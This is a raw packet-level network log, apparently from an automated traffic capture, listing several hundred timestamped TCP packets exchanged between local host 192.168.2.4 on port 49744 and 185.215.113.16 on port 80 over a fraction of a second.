Oct 31, 2024 03:03:34.163543940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163572073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163574934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163587093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163598061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163613081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163625956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163635015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163636923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163650036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163666010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163691998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163696051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163705111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163716078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163738966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163786888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163799047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163809061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163821936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163834095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163834095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163846970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163856983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163868904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163892031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163898945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163917065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163918018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163929939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163940907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.163949013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163959980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163971901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.163978100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.164019108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.164052010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164062023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164078951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164091110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164093971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.164103985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164117098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164119959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.164154053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164164066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164165974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.164175034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164187908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.164202929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.164223909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.173810959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198570967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198585987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198597908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198610067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198620081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198640108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198643923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198663950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198676109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198682070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198694944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198708057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198717117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198718071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198730946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198745012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198745012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198759079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198774099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198776960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198785067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198816061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198843956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198867083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198879004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198890924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198913097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198935986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.198940039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198951006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198961973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198981047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198993921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.198993921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199009895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199024916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199034929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199062109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199064970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199074984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199099064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199107885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199111938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199131966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199145079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199176073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199206114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199218988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199229956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199243069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199258089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199260950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199279070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199299097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199300051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199322939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199323893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199347019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199357986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199368954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199369907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199382067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199394941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199400902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199414015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.199429035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.199465036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.207690954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.280673981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280698061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280713081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280724049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280738115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280740023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.280750990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280771017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.280795097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280797958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.280807972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280844927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.280879021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280890942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280906916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280925989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280937910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280947924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280951023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.280958891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280977964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.280978918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.280992031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281002998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281013966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281029940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281052113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281068087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281080008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281090021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281133890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281133890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281167984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281178951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281191111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281244993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281481981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281528950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281528950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281542063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281575918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281589985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281601906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281614065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281625986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281639099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281642914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281676054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281718016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281729937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281740904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281764030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281794071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281836033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281847954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281858921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281869888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281881094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281898022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281900883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281912088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281920910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281924009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281939983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281943083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.281953096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.281996965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282177925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282188892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282200098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282210112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282213926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282226086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282227993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282238960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282253981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282257080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282269001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282279968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282279968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282293081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282305002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282305956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282315969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282327890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282331944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282340050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282349110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282352924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282390118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282390118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282407045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282421112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282432079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282432079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282444954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282457113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282469034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282469034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282481909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282494068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282495022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282506943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282521009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282526016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282538891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282551050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282551050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282566071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282578945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282579899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282592058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282598972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282607079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282628059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282646894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282659054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282670021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282671928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282684088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282696009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282702923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282732010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282753944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282767057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282777071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282790899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282799006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282803059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282815933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282820940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282828093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282841921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282869101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282876968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282888889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282898903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282912970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282922029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282924891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.282958031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.282989979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283000946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283011913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283025026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283032894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283036947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283052921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283061981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283087969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283096075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283107996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283121109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283132076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283140898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283143997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283155918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283166885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283199072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283231020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283242941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283252954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283265114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283277035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283277035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283288956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283299923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283325911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283325911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283338070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283349991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283365011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.283365965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.283399105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.317626953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317641020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317651987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317673922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.317713022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.317831993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317843914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317854881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317873001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317877054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.317888021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317899942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317912102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317914963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.317924023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317936897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317949057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317949057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.317962885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317971945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.317981958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317995071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.317996979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318008900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318021059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318032026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318034887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318047047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318079948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318084002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318097115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318103075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318110943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318120003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318125963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318146944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318161011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318171978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318171978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318222046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318223000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318237066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318248034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318259954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.318268061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.318270922 CET	80	49744	185.215.113.16	192.168.2.4
